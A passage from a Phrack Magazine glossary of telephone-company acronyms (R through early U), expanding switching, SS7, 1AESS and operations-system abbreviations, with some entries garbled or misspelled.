RATDBOV RATE message received indicating data base overload
RATDBUN RATE message returned because data base unable to process
RATGMSG RATE message received garbled
RATNBLK RATE message returned because of network blockage
RATNCON RATE message returned because of network congestion
RATNRTE RATE message returned because of no routing data
RATTOUT RATE message returned because of timeout
RATUNEQ RATE message returned because of unequipped destination
RATURPY RATE message received with an unexpected reply
RAU RSM alarm
RBEF Read block error counter for far end (IOM2 monitor command)
RBEN Read block error counter for near end (IOM2 monitor command)
RBHC Regional bell holding company
RBOC Regional bell operating company
RBOC Regional boc
RBOR Request basic output report
RBS Print tbs relays assignment record
RC Rate center (NTI)
RC Recent change
RC Regional center
RC Resistance-capacitance
RC/V Recent change and verify
RC18 Rc message response - 1AESS RC
RCC Radio common carrier
RCC Remote cluster controller
RCC Request corrupted CRC (in EOC)
RCC Reverse command channel
RCD Received
RCE Ring Counter Error
RCF Remote call forward
RCF Remote call forwarding
RCFA Remote call forwarding appearance (NTI)
RCI Read controller interface (IOM2 monitor command)
RCL Route clock
RCLDN Retrieval of calling line directory number
RCLK Remote clock
RCM Remote carrier module
RCMAC Recent change memory administration center
RCMG Recent change message generator
RCOSC Remote clock oscillator
RCOXC Remote clock oscillator cross couple
RCP Recent change packager
RCP Remote copy
RCR Recent change report
RCRE Receive corrected reference equivalent
RCREF Remote clock reference
RCS Recent change summary
RCSC Remote spooling communications subsystem
RCT Remote concentrator terminal
RCU Radio channel unit
RCU Repeater control unit (i.e. ASIC between two IEC-q2s)
RCV Receive
RCVR Receiver
RCW Recent change keyword
RCXC Remote clock cross couple
RDATE Release date (update database date)
RDB/RDR Recent Disconnect bussiness/resid.
RDBM Relational data base management
RDES Remote data entry system
RDFI RSM digital facilities interface
RDG Message register reading
RDS Radio digital system
RDS Reference distribution system
RDS Running digital sum
RDSN Region digital switched network
RDT Radio digital terminal
RDT Remote digital terminal
RDY Resynchonisation indication after loss of framing (C/I channel CO)
RE Lajrr
RE Radiated emission (EME)
REACC Reaccess
REC Record
REC Recreate (display)
REC Regional engineering center
RED Recent change message text editor
REH Recovered history
REJ Reject (LAP-D command/response)
REL Release (i.451)
REL Release non-intercepted numbers by release date
REM Remote equipment module
REM Remove frame locations
REMOBS Remote observation system
REMSH Remote shell
REN Ring equivalence number
REOC Real estate operations center
REP Reprint option
REPT# Report number
REQ Required
RES Reset (C/I channel code)
RES Resistance
RES Resume (i.451)
RES Send a solicited response
RES1 Reset receiver (C/I channel code)
RET Retermination of frame locations
REV Reverse charging (i.256 c)
REV Reversed
REW Rework status
REX Reexecute a service order
REX Routine exercise.
REX Routine exerciser.
REXX Restructred extended executer language
RF Radio frequency
RFI Radio frequency interference
RID Read identification (IOM2 monitor command)
RID Remote isolation device
RISLU Remote integrated services line unit
RJ Reject
RJDT Reject date
RJR Remove jeopardy reason codes
RJR Valid reject reasons
RKW (ger pcm30) fas
RL Repeat later
RL Resistance lamp
RL Retry later
RL Return loss
RLC Release complete msg. (SS7: in SCCP)
RLCM Remote line concentrating module
RLDT Release date
RLF Re-using dips upper bound load factor
RLG Release guard on unstable call (outgoing)
RLI Remote link interface
RLM Remote line module
RLO Automatic relay assignment present
RLOGIN Remote login
RLS Release
RLSD Released msg. (SS7: in SCCP)
RLST Release status
RLT Remote line test
RLT Remote loop test
RLY Miscellaneous relay
RM Remark
RMA Request for manual assistance
RMAC Remote memory administration center
RMAS Recent message automatic system
RMAS Remote memory administration
RMAS Remote memory administration system
RMK Hunt group remarks
RMK Remarks
RMK Remarks on cable pair
RMK Remarks on office equipment
RMK Remarks on orders
RMK Remarks on telephone number
RMM Remote maintenance module
RMP Recent change punctuation table
RMPK Remote shelf
RMR Remote message registers
RMS Remote mean square
RMS Root-mean-square
RMS-D Remote measurment system-digital
RMS-D1 Remote measurment system-digital signal level one
RMS-D1A Remote measurment system-digital signal level one access
RMS-M Remote measurment system-metallic (through SMAS)
RMS-MS Remote measurment system-metallic small (through SMAS)
RMV Remove
RMV Removed from service - 1AESS remove
RN Reference noise
RN Ring node
RNA Release telephone numbers for assignment
RNG Ringing
RNGS Rings
RNMC Remote network management center
RNO Rss subentity number
RNOC Regional network operations center
RNR Receive not ready (LAP-D command/response)
RO Receive only
RO Routine other.
ROB Remote order buffer
ROC Regional operating company
RODD Redundant ODD
ROE Reservation order establishment
ROE Rss's office equipment
ROH Receiver off hook
ROI Reservation order inquiry
ROK Republic of korea
ROM Read-only memory
ROOT System manager for some unix os and COSMOS
ROP Receive-only printer
ROSE Remote operation service element (TCAP subset)
ROTF Operational trouble.
ROTL Remote office test line
ROTLS Remote office testline system
ROUT Routes
ROW Reservation order withdrawal
RP Repeater
RPFC Read power feed current value (IOM2 monitor command)
RPM Recent change parameters
RPO Regional procurement organization
RPOA Recognized private operating agency
RPT Repeated
RPT Report
RQ Rpntr
RQS Rate/quote system
RQSM Regional quality service management
RQST Request
RR Receive ready (LAP-D command/response)
RRCLK Remote clock circuit pack
RRO Reports receiving office
RS Radiated susceptibiltiy (EMS)
RS Record separator (ascii control)
RS Repair service
RS Reset
RSA Repair service attendant
RSAT Reliability and system architecture testing
RSB Repair service bureau
RSB Repair servicenbureauem
RSC Remote switching center
RSC Reset confirm (SS7: in SCCP and ISUP)
RSC Residence service center
RSCS Remote source control system
RSE Remote service equipment
RSHF Remote concentration line shelf
RSIT Remote site
RSLC Remote subscriber line module controller
RSLE Remote subscriber line equipment
RSLM Remote subscriber line module
RSM Remote switching module
RSS Remote switching system
RST Reset received (outgoing)
RST Resistance test
RST Resistance test (SARTS command)
RST Restore
RST Restored to service status - 1AESS restore
RSTS/E Resource system time sharing/enhanced
RSU Remote switching unit
RSY Resynchronizing (C/I channel code)
RSYD Rsy downstream
RSYU Rsy upstream
RT Radio landline INTER/TRA blocal 1-26
RT Remote terminal
RT Remote terminal (opposite to cot)
RT04 Status of monitors - ringing and tone plant-1AESS
RTA Remote trunk arrangement
RTA Remote trunking arrangement
RTAC Regonal Technical Assitance Center
RTAC Remote a trunk assembler center
RTB Retransmission buffer
RTCA Radio technical commission of aeronautics
RTEST Tops remote test
RTF Release timeout failure
RTH Report transaction to count spare and diped line equipment
RTI Route index
RTIME Release time (update database time)
RTL Resistor-transistor logic
RTM Regional telecommunications management
RTM Remote test module
RTN Return to normal (in EOC)
RTOC Resident telephone order center
RTP Rate treatment package
RTP Remote test point (RTS-5A)
RTPP Remote test port panel
RTR Route TReatment (GTE)
RTRV Retrieve
RTS Relay and telephone number status report
RTS Remote test unit
RTS Remote testing system
RTS Request to send
RTS SMAS remote test system located in central offices
RTSE Reliable transfer service element
RTSI Receive time slot interchanger
RTU Remote trunking unit
RTU Right to use
RTZ Rate zone
RU Receive unit
RUM Remote user multiplex
RUP Request unsolicited processing
RV Review
RVDT Review date and time
RVPT Revertive pulsing transceiver
RVPT Revertive pulsing transceivers
RW Read/write permission
RWC Remote work center
RX Remote exchange
RZ Resistance zone
RZ Return to zero
RxSD Receive serial data
--------------------------------------------------------------------------------
==Phrack Magazine==
Volume Four, Issue Forty-Three, File 25 of 27
{Acronyms Part V}
S Date and time report received.
S Seconds
S Send toscreener
S Sleeve
S Start dial signal
S&E Service & equipment
S- Supervisory (S-frames)
S-N Signal-to-noise ratio
S/R Send/receive key
S1DN Stage one distribution network
S96 SLC 96
SA Sattelite trunk INTER/TRA blocal 1-26
SA01 Call store memory audit results - 1AESS software
SAA System applications architecture (for ps/2)
SABME Set asynchronous balanced mode (ABM) extended (LAP-D command)
SAC Service access connector (-> sipb)
SAC Service area computer
SAC Special area code
SAC Switch activation
SAD System access delay
SAG Street address guide
SAI S activity indicator (in EOC)
SAI Serving area interface
SAI Summary of action items
SALI Standalone automatic location identification
SAM Subsequent address msg. (SS7: in ISUP)
SAMA Step by step automatic message accounting
SAMEM Stand-alone billing memory
SANE Signaling area/network code (SS7)
SAP Service access point
SAPI Service access point identifier
SAR Store address register
SARTS Switch access tremote test system
SARTS Switched access remote test system
SAS Switched access service
SASWF Save all seems well failure flip flop
SAT Special access termination
SAT Supervisory audio tone
SAT System access terminal
SAW Surface acoustic wafe (filter)
SB Switched access-standard-service code for LATA access
SBC S bus interface circuit
SBCX SBC extended
SBI Synchronous backplane interconnect
SBLN Standby line
SBMS Southwestern bell mobile service
SBS Skyline business systems
SBUC S bus connector
SC Scanner controller
SC Sectional center
SC System controller
SC/SD Scan and signal distributor
SCA Service order completion-automatic
SCANS Software change administration and notification system
SCAT Stromberg-carlson assistance team
SCC Specialized common carrier
SCC Station cluster controller
SCC Switching control center
SCC Switching control center.
SCCP Signaling ccp (SS7: q.71x)
SCCP Signaling connection control part
SCCS Specialized common carrier service
SCCS Switching control center system
SCF Selective call forwarding
SCF Simple completion for mdf
SCH Test scheduale (command)
SCHED Scheduled
SCI Spare cable pair inquiry
SCL Station clock
SCLK Slave clock
SCM Scramble coder multiplexer
SCM Standard completion by mdf
SCM Subscriber carrier module
SCM Subscriber carrier module (DMS-1 digital pair gain system NTI)
SCO Serving central office
SCOT Stepper central office tester
SCOTS Surveillance & control of transmissions system
SCP Service control point
SCP Service order completion by LAC
SCP Signal control point
SCP Signal conversion point
SCP System control program
SCPC Signal channel per carrier
SCPD Supplementary central pulse distributor
SCR Selective call rejection
SCR Signaling configuration register
SCR Standard completion by rcmac
SCRC Send corrected reference equivalent
SCRN Screening translations
SCS SCM-10S Shelf (SLC-96)
SCS SCM-10S shelf (SLC-96)
SCSDH Scanner and signal distributor handler
SCU Selector control unit
SCX Specialized communications exchange
SD Slip detected
SD Switched access-improved-service code for LATA access
SD&D Specific development & design
SDACS Serving digital accessed and cross-connect system
SDC Sales development center
SDD Site dependent data
SDDF Subscriber digital distributing frame
SDE Submission/delivery entity (x.400)
SDIS Switched digital integrated service
SDL Specification and description language
SDLC Synchronous DLC
SDLC Synchronous data link control
SDLH Synchronous data link handler
SDM Space division multiplex
SDN Software defined network
SDN Software-defined network
SDNBAS Call failed due to the query's being blocked at the switch
SDNBN Call failed due to the query's being blocked in the CCS network
SDNGTCAP Garbled TCAP message received
SDNNCANI CAMA call failed due to CAMA trunk's not providing ANI for
query
SDNNCFA Call failed while the transaction with the NCP was active
SDNNCFI Call failed while the transaction with the NCP was inactive
SDNNOCANI CAMA call failed due to CAMA trunk's not providing ANI
through ONI for query
SDNRER Call failed because to the conversation with the NCP
resulted in a return error
SDNRER Call failed because to the conversation with the NCP
resulting in a return error
SDNRR Call failed because to the conversation with the NCP
resulted in a reject respon
SDNRR Call failed because to the conversation with the NCP
resulting in a reject respo
SDNTIM Call failed due to the query's not being answered in
time by the NCP
SDNTRF Call failed due to the NCP's answering with a terminate request
SDOC Selective dynamic overload controls
SDP Service delivery point
SDP Submission and delivery protocol (x.411)
SDPT Signal distribution points
SDR Store data register
SDR Switch data report
SDS Switched data service
SDS Synchronous data set
SDSC Synchronous data set controller
SDT Software development tools
SE Special access wats-access-std-service code for LATA access
SE Special service equipment number
SEAS Signaling engineering and administration system
SEAS Signalling engineering and administration systems
SEC Second
SEC Signal level behind the echo canceller (C/I channel code)
SEE Systems equipment engineering
SEG Segment
SEL Digital selector (in TMS)
SEL Selecting lines for an exchange class of service study
SER# Seral number
SES Service evaluation system
SES Unk (administrative system)
SET Statistics on equipment and telephone numbers
SET Strategy execution table
SF Service field
SF Signal format
SF Single frequency.
SF Special access- WATS access line improved-service code for LATA
SF Status field (SS7)
SFB Set next febe to zero
SFD Superframe detected (C/I channel code)
SFG Simulated facilities
SFG Simulated facilities group
SFG Simulated facility group
SFG Simulated facility group (SFG) measures.
SFMC Satellite facility management center
SFN Simulated facility number
SFV Signal format verification
SFV Signaling format verification (SARTS command)
SG Control/remote metering signal grade INTER/TRA blocal 1-26
SG Supergroup
SG Switch group (SG) (also known as half-grid)
SGC Switching group control
SGD Failure to receive station group designator (SGD)
SGH Select graphic rendition (teletex)
SGH Supply relays for groups of 5xb hunts
SGL Single
SGML Standard generic markup language
SGMP Simple gateway management protocol
SGN Common language segment number
SHI Select horizontal spacing (teletex)
SI Sequenced information
SI Service indicator
SI Shift in (ascii control)
SI Status indicator
SI Synchronous interface
SIC Silicon integrated circuit
SICOFI Signal processing codec filter
SICOFI2 2 channel sicofi
SID System identification
SIDB Session information data base
SIDES Siemens ISDN software development and evaluation system
SIF Signaling information field (SS7)
SIG Signaling
SIG Signaling equipment (in a trunk)
SIGI Sigi
SIGS Signaling strobe
SILC Selective incoming load control
SILC Selective incoming load controls messages.
SIM System integrity monitor
SIN Status indication normal alignment
SIO Service information octet (SS7)
SIP Serial interface port
SIPB Siemens ISDN pc user board
SIPB 5XXX SIPB modules
SIPB 7XXX SIPB configurations
SIPMOS Siemens PMOS
SIPO 6XXX Siemens ISDN pc software object code
SIPS 6XXX Siemens ISDN pc software source code
SIR Sorting inquiry by range
SIS Special identifying telephone number supplement
SIT Special identifying telephone number
SIT Special information tones
SITAC Siemens isolated thyristor AC
SITE Site assignments
SITEST Siemens ISDN protocol software test tools
SIU Subscriber line interface unit
SJ Limited switched access line-service code for LATA access
SK Skip
SK Skip option
SL Secretarial line INTER/TRA blocal 1-26
SL Subscriber line
SLA Subscriber line adress
SLB Subscriber line busy
SLC Signaling link code (SS7)
SLC Subicer loop carrier
SLC Subscriber line counts for custom calling features
SLC Subscriber loop carrier
SLD Subscriber line data (bus)
SLE Screen list editing
SLE Screening line editor
SLEN SLC line equipment number
SLIC Subscriber line interface circuit
SLIM Subscriber line interface module
SLIM Subscriber loop interface module
SLK Signaling link
SLM Subscriber line module
SLMA SLM analog
SLMD SLM digital
SLPK SLC-96 pack
SLRF Systemiletterntenance results feature (eadas)
SLS Signaling link selection (SS7)
SLSN Unk COSMOS
SLU Special studies
SM Same
SM Sampling INTER/TRA blocal 1-26
SM Service module
SM Speech memory
SM Switch module
SM Switching modual
SM Switching module
SM Synchronous multiplexor
SMAC Service and maintance administration center
SMAS Switched maintance access system
SMAS Switched maintance access system (provides access to the
RMS-M and RTS)
SMASF SMAS frame
SMASPU SMAS power unit
SMD Surface mounted device
SMDF Subscriber main distributing frame
SMDI Subscriber message desk interface
SMDR Station message detail record
SMDR Station message detail recording
SMDR Station message detailed recording
SMDS Switched multi-megabit data service
SMF Sub multi frame
SMG Supermastergroup
SMM SARTS maintence manager (VAX 1/780)
SMP SARTS maintance position (TP 52a)
SMPU Switch Module Processor Unit
SMS Service management system
SMS Station management systems
SMS Switching Module System
SMSA Standard metropolitan statistical area
SMTP Simple mail transfer protocol
SMU Subscriber module urban
SMU System master unit
SN Sequence number
SN Special access termination INTER/TRA blocal 1-26
SNA System network architecture (IBM)
SNA Systems network architecture
SNADS System network architecture distribution service
SNET Southern new england telephone
SNF Serial number format
SNL Signaling link (CCS7)
SNLS Signaling link set (CCS7)
SNRS Signaling network route set (CCS7)
SNS Service network system
SO Service order
SO Shift out
SOAC Service order analysis and control
SOB Service observing assignments
SOB Service observing tag
SOC Service order cancel
SOC Service oversight center
SOCC Standard optical cable code
SOCC Switching operation control center
SODC Service order delayed completion
SOE Service order establishment
SOE Standrard operating environment
SOF Service order fix
SOH Service order history
SOH Service order withheld
SOH Start of header
SOI Service order assignment inquiry
SOI Service order image
SOL Service order listing
SOM Modify a pending service order
SONAR Service order negotiation and retrieval
SONDS Small office network data system
SONET Synchronous optical network
SORD Service order dispach
SOW Service order withdrawal
SP Signal p
SP Signal point (switching office in SS7)
SP Signal processing
SP Signal processor
SP Signaling point
SP Stimulus protocol
SPA Special access
SPACE Service provisioning and creation environment
SPAN Space physics analysis network
SPAN System performance analyzer
SPARED Line involved in ISLU sparing configuration.
SPC Signaling poiny code (SS7)
SPC Southern pacific communications
SPC Stored program control
SPC Stored program controlled
SPCR Serial port control register
SPCS Stored program control system
SPCS Stored programacontrolnsystem
SPCS COER Stored-program control system/central office equipment
report
SPCSS Stored program control switching system
SPD Speed
SPDA Supplier data program
SPFC Special purpose function code
SPH Session protocol handler
SPI Serial peripheral interface
SPINT Signal processor interrupt
SPL Split
SPM Split and monitor
SPM Split and monitor (SARTS command)
SPOC Single point of contact
SPS Split and supervise
SPS Split and supervise (SARTS command)
SPUC/DL Serial peripheral unit controller/data link
SQ Equipment only-customer premises INTER/TRA blocal 1-26
SQA Simulated facility group (SFG) announcement (SAQ)
SQD Signal quality detector
SQL/DS Structured query language/data system
SRA Selective routing arrangement
SRAM Static ram
SRCF Single line remote call forward
SRDC Subrate data cross connect
SRDM Subrate data multiplexer
SRI Subscriber Remote Interface (RLCM)
SRI Subscriber Remote Interface pack
SRL Singing return loss
SRV Service
SRVT SCCP Routing Verification Test
SS Dataphone select-a-station INTER/TRA blocal 1-26
SS Signaling system
SS Special services
SS7 Signaling system #7 (ccitt)
SSA Special service automation
SSAS Station signaling and announcement subsystem
SSB Single-sideband
SSB Switched services bureau
SSBAM Single-sideband amplitude modulation
SSC Specal service center
SSC Special service center
SSC Special services center
SSC Standard speech circuit psb4500/-1
SSCP Subsystem services control point
SSD No second start dial wink
SSD No second start dial wink (MDII)
SSDAC Specal services dispach administration centers
SSF Sub service field
SSI Serial signal interface
SSN Subsystem number
SSN Switched service network
SSO Satellite switching office
SSO Satellite switching office assignments
SSP Send single pulses (C/I channel code for test mode)
SSP Service switching point
SSP Service switching points
SSP Signal switching point
SSP Sponsor selective pricing
SSP Switching service points
SSP System status panel
SSPC Ssp controller
SSPRU Ssp relay unit
SSTR Selective service trunk reservation (SSTR).
SSTR Service selective trunk reservation
SSTTSS Space-space-time-time-space-space network
SSWAP Switching services work allocation precedures (GTE)
ST A signal that indicates the end of mf pulses (stop)
ST Present status of telephone number
ST Self test request nt (IOM2 monitor message)
ST Start
ST Subscriber terminal
STA Station sset
STAB Station abbreviation file
STARS Sampled traffic analysis and repo ts systems
STATMUX Statistical multiplexer
STB Standby
STC Service test center
STC Serving test center
STC Switching technical center
STCR Syncron transfer control register
STD Standard
STD Subscriber trunk dialing
STDM Statistical time division multiplexing
STEP Services testing evolution platfoem
STEP Sides static test of IOS and mf on board (in sitest)
STKE Stack protect error
STLWS Supplementary trunk and line work station
STM Synchronous transfer mode
STN Station definition
STN Summarize telephone numbers
STOR Memory storage
STORY Screening tool for report files (IOS)
STP Self test pass (IOM2 monitor message)
STP Signal transfer point
STP Signal transfer point (SS7)
STP Stop
STRAT Strategy
STS Shared tenant service
STS Space-time-space network
STS Space-time-space switch (TMS-TSI-TMS)
STS Station signaling
STS Station signaling test (SARTS command)
STS Steered tenant service
STS Synchronous transport signal
STS 2060 Sicofi software
STT Telephone number status
STTP Supplementalstrunkntest panel
STTP Supplementary trunk test panel - trunk testing position (1ess)
STU 2000 Stand alone ISDN user board
STU 2040 Stand alone MTS user board
STU 2050 Stand alone PBC user board
STU 2060 Stand alone SICOF user board
STUDIALO PC software for STU 2xxx
STX Start of test
STX Start of text
SU Signaling unit
SU Syndes units (syncronizers-dessyncronizers)
SU5IN Subunit 5 interrupt
SU6IN Subunit 6 interrupt
SU7IN Subunit 7 interrupt
SUB Sub switch
SUB Sub-addressing (i.251)
SUB Substitute character (teletex)
SUBL Sublet service
SUERM Su error rate monitor
SUFX Sufix
SUM1 Summary screen
SUP Supervision
SUS Suspend (SS7: in ISUP)
SUSP Suspend (i.451)
SV Slave
SV Switched voice
SVB Serving bureau
SVC Critical service circuits
SVC Switched virtual circuit
SVC Switched virtual circuits
SVL Service observing loops
SVP Surge voltage protector various
SVS Select vertical spacing (teletex)
SVS Switched voice service
SW Switch name
SW Switched
SWB Southwestern bell
SWC Same wire center
SWC Set work code
SWEQF Switch equipment failure.
SWFC Sliding-window flow control
SWFN Switch function file
SWG Sub working group
SWS Switch work station
SWS Switched signaling
SWS Switching signal test (SARTS command)
SWST Switch signature table
SX Simplex (mode is a PT TR connected togeather)
SX Simplex signaling
SXS Step by (X) step
SYC System control
SYN Synchronous idle
SYNDES Synchonizer/dessynchonizer
SYP Synchronisation pulse
SYS Machine number
SYS System
SYS System manager
SYSGEN System generation
SZD Seized
SxS Step-by-step or strowger switch
T Double wire pair
T Intials of person receiving report.
T Terminaltion
T Tip
T&A Toll and assistance
T&L Termination
T&M Talk-and-monitor
T&R Tip and ring
T&R Two wire phone connection
T- Transportfunction-
T-BERD T-carrier Bit Error Rate Tester
T-GRND Tip-ground
T1/OS T1 carrier outstate
T1FE T1 carrier front end
TA Tandem tie-trunk INTER/TRA blocal 1-26
TA Terminal adaption
TA Terminal adaptor
TA Transfer allowed
TA Transfer assembly
TAB Telephone ability battery
TAC Technical assistance center
TAC Tei assignment control (IOS)
TAC Terminal access circuit
TAC Test and access circuit
TACD Telephone area code directory
TAD Test access digroup
TAG Translation administration group
TAI Tie pair assignment inquiry
TAN Technation access network
TAN Test access network
TAP Telephone assistance plan
TAP Teletex access protocol (x.430: p5)
TAP Test access path
TAP Touchtone assignment priority number
TARE Tariff table (AMA NTI)
TAS Telephone answering service
TASC Technical assistance service center
TASC Telecommunications alarm and surveillance control
TASC Telecommunications alarm surveillance and control system
TASI Time assignment speech interpolartion
TASI Time assignment speech interpolation system
TAT Test access trunk
TAT Test alignment of frame terminal
TAT Transatlantic telephone
TATS Trouble analysis of transmission and signaling
TAU Time assignment unit
TBL Trouble
TC Control/remote metering-telegraph grade INTER/TRA blocal 1-26
TC Timing counter
TC To cable
TC Toll center
TC Transaction capabilities
TC15 Reports overall traffic condition - 1AESS traffic condition
TCA Telephone company administration
TCAP Telecommunications alarm surveillance
TCAP Transaction (ie sdngtcap)
TCAP Transaction capabilities application part
TCAP Transaction capabilities applications port
TCAS T-carrier administration system
TCAS T-carrier administration system)
TCAS T-carrier administrative system
TCC Toll control center
TCC Trunk class code
TCG Test call generation
TCIF Telecommunications industry forum
TCM Time compression multiplexer
TCM Trellis coded modulation
TCP Transport control protocol (DOD)
TCR Transient call record
TCS Terminating code screening
TCSP Tandem cross section program
TCU Timing control unit
TD Test direction
TD Tone decoders
TDAS Traffic data administration system
TDAS Translation data assemblern system
TDC Tape data controller
TDC Telex destination code (ISO 7498)
TDC Terrestrial data circuit
TDD Telecommunications device for deaf
TDF Trunk distributing frame
TDM Time division multiplex
TDMA Tdm access
TDRS Traffic datatrecorderasystem
TE Terminal equipment
TE Transit exchange (contains PSF)
TE Transverse electric
TED Text editor
TEHO Tail end hop off
TEI Terminal endpoint identifier
TELEX Teleprinter exchange
TELNET Virtual terminal protocol
TELSAM Telephone service attitude measurement
TEN Trunk equipment number
TER Terminal
TERM Terminate
TERM Terminating
TEST In test mode.
TET Display or change band filter file
TF Telephoto/facsimile INTER/TRA blocal 1-26
TFC Transfer frame changes
TFLAP T-carrier fault-locating application program
TFS Trunk forecasting system
TFTP Television facility test position
TG Tip-to-ground
TG Translation guide
TGC Manual trunk group controls messages.
TGC Terminal group controller
TGID Trunk group id
TGMEAS Basic trunk group measurements
TGN Trunk group number
TH Trouble history
THGP Thousands groups
THL Trans hybrid loss
TI Test indication
TIA Telephone information access
TIC Telecom ic (IOM-bus)
TICOM Treated interface common circuit.
TIDE Traffic information distributor & editor
TIG Dial transfer input generator
TIM Timing
TIMEREL Time release
TINTF The T interface is down.
TIP The installation practices
TIRKS Trunk integrated record keeping system
TK Local PBX trunk INTER/TRA blocal 1-26
TK Trunk cable and pair number
TKT Trouble ticket file
TL Non-tandem tie trunk INTER/TRA blocal 1-26
TL Test line
TL02 Reason test position test was denied - 1AESS traffic
TLC Tail COSMOS
TLC Translate lanavar/CPS
TLI Telephone line identifier
TLK Talk
TLM Trouble locating manual
TLN Trunk line network
TLP Transmission level point
TLPU Telecommunications line processor unit
TLS Tail switch
TLTP Trunk line and test panel
TLTP Trunk line testrpanelng frame
TLWS Trunk and line work station
TM Testmode
TM Transverse magnetic
TM Trasfer modus
TM Trunk mantance
TM1 Terminal 1 (IOS)
TMA Trunk module analog
TMAS Transport maintance and administration systems
TMC Timeslot management channel
TMD Trunk module digital
TMDF Trunk main distributing frame
TME Trunk module equipment
TMMS Telephone message management system
TMPS Trunk maintenanceaposition
TMR Transient memory record
TMRS Traffic MeasuRment (GTE)
TMRS Traffic measurement and recording system
TMRS Traffic metering remote system
TMS Time mutiplexed switch
TMS Time-multiplexed switch
TMS Time-multiplexed switching
TMT Traffic management.
TMX Trunk module with x-interface
TN Telephone number
TN Tone (C/I channel code: wake up signal)
TN Transaction number
TN01 Trunk diagnostic found trouble - 1AESS trunk network
TN02 Dial tone delay alarm failure - 1AESS trunk network
TN04 Trunk diag request from test panel - 1AESS trunk network
TN05 Trunk test procedural report or denials - 1AESS trunk network
TN06 Trunk state change - 1AESS trunk network
TN07 Response to a trunk type and status request - 1AESS trunk network
TN08 Failed incoming or outgoing call - 1AESS trunk network
TN09 Network relay failures - 1AESS trunk network
TN10 Response to trk-list input usually a request from test position
TN11 Hourly status of trunk undergoing tests - 1AESS trunk network
TN16 Daily summary of precut trunk groups - 1AESS trunk network
TNC Terminal node controller
TNDS Total network data system
TNF Telephone number format
TNN Trunk network number
TNOP Total network operation plan
TNOP Total network operations plan
TNPC Traffic network planning center
TNS Telephone number swap
TO Toll office
TOC Television operating center
TOC Transfer order completion
TOC0 Reports status of less serious overload conditions -
1AESS traffic
TOC0 Serious traffic condition - 1AESS traffic overload
TOE Transfer order establishment
TOF Mass oe transfer order frame listings
TOI Dial transfer order inquiry
TOL Transfer order lists
TOO Transfer order omissions
TOP Task-oriented practices
TOP Technical office protocol
TOPQ Top of queue (Quasi SDL)
TOPS Timesharing operating system
TOPS Traffic operator position system
TOS Trunk orderf-service (list)
TOSS/MP Traffic operator sequence simulator/mult purpose
TOW Transfer order withdrawal
TP Dacs test port or test position
TP Test position
TP Tie pair
TP Toll point
TP 52A SARTS test position 52A
TPC TOPS (DMS) position controllers
TPH Transport protocol handler
TPMP Tnds performance measurement plan
TPMP Total network data system performance measurement plan
TPR Taper code
TPU Tie pair usage report
TQ Television grade customized-service code for LATA access
TQ Trunk query
TQA Trunk group queuing announcements
TR Test register
TR Toll regions
TR Transfer register
TR Trunk reservation controls messages.
TR Turret or automatic call distributor (ACD) trunk INTER/TRA blocal
TR01 Translation information - 1AESS
TRAC Call tracing
TRANS Transmit
TRB Periodic trouble status reporting
TRBL Unspecified trouble.
TRBLORG Origination trouble.
TRC Transfer order recent change report
TRCC T-carrier restoration and control centers
TRCO Trouble reporting control office
TRE Transmission equipment
TREAT Trouble report evaluation analysis tool
TREAT Trouble reporteandsanalysisstool
TREQF Transmission equipment failure.
TRFC15 Fifteen minute traffic report
TRG Trouble reference guide
TRI Tone ringer psb652x
TRI Transmission equipment assignment inquiry
TRK Analog or digital recorded announcement trunks
TRK Trunks
TRKBD Trunk board.
TRKCT Trunk circuit.
TRM Two mile optically remote switching module
TRM Two-mile remote switching module
TRMG Terminal group
TRMSN Transmission
TRMTR Tramsmitter
TRMTR Transmitter
TRNS Translations
TRR Tip-ring reversal
TRR Tip-ring reversal (MDII)
TRR Tip-ring reverse
TRU Transmit/receive unit
TRVR Translation verification
TRW Total reservation order withdrawal
TS Test number
TS Time slot
TSA Time slot assignment
TSC Test system controller
TSC Tristate control
TSC/RTU Test systems controller/remote test unit
TSCPF Time switch and call processor frame
TSCPF Time switch and central processor frame
TSG Timing signal generator
TSI Time slot interchanger
TSI Time slot interchangers
TSI Time-slot interchange
TSIIN Time-slot interchange interrupt
TSIU Time slot interchange Unit
TSL Line equipment summary report
TSMS Traffic seperation measurment system
TSN Test session number
TSN Traffic statistics on telephone numbers
TSO Time sharing option
TSORT Transmission system optimum relief tool
TSP Test supervisor
TSP Traffic service position
TSPS Traffic service position system
TSS Trunk servicing system
TSS Trunk servicing systems
TSST Time-space-space-time network
TST Test
TST Time-space-time network
TST Time-space-time switch (TSI-TMS-TSI)
TST Transmission test
TST Traveling-wave tube
TSTS Time-space-time-space network
TSV Test ststus verification (monitor)
TSW Total service order withdrawal
TT Teletypewriter channel INTER/TRA blocal 1-26
TT Trunk type
TTA Terminating traffic area
TTAA Transmission theory and applacations
TTC Terminating toll center
TTE Trunk trafic engineering
TTFCOM Test transmission facility common
TTFCOM Transmission test facility common
TTL Transistor-transistor logic
TTMI Trunkytransmission maintenance index
TTP Trunk test panel
TTR Operator trunk trouble reports
TTR Operator trunk trouble reports (MDII)
TTS Trunk time switch
TTSI Transmit time slot interchanger
TTTN Tandem tie trunk network
TTU Trasnslation Table Update (GTE)
TTY Get tty name - COSMOS command
TTY Teletypewriter
TTYC Tty controller
TU Transmit unit
TU Trunk unit
TU Turret or automatic call distributor (acd) line INTER/TRA blocal
TUCHBD Trunk unit channel board
TUP Telephone user part (SS7: q.72x)
TUR Traffic usage recording
TUR Trunk utilization report
TUT Trunk under test
TV TV channel one way 15khz audio-service code for LATA access
TW TV channel one way 5khz audio-service code for LATA access
TW Twist
TW02 Dump of octal contents of memory - 1AESS translation
TWX Teletype writer exchange
TWX Teletypewriter exchange
TX Dedicated facility INTER/TRA blocal 1-26
TX Tone transceivers
TXC Text checker
TXM Transfer centrex management
TYP Switch type
TYP Type
Talkoff Take off
Trunk Trunk
TxSD Transmit serial data
U Single wire pair
U(k0) (ger) u0 echo cancellation interface
U(p0) (ger) u0 burst mode interface
U- Unnumbered (u-frames)
U-DSL U-interface digital subscriber line
UA Unnumbered ack (LAP-D response)
UA User agent (x.400)
UAE User application entity or user agent entity (x.400)
UAF Unblocking acknowledgment failure
UAI U activation indication (C/I channel code)
UBA Unblocking acknowledgement
UBL Unblocling (SS7: in ISUP)
UCA Unauthorized centralized automatic message accountin (MDII)
UCD Uniform call distribution
UCL Unconditional
UCONF Universal conference
UCS User control string
UDC Universal digital channel
UDLC Universal dlc
UDP Update dip parameters
UDP User datagram protocol
UDR User data rate
UDT Unidata (SS7: in SCCP)
UDTS Unidata servive (SS7: in SCCP)
UDVM Universal data voice multiplexer
UES Update the entity summary table
UFD Microfarad
UFO Unprinted frame orders
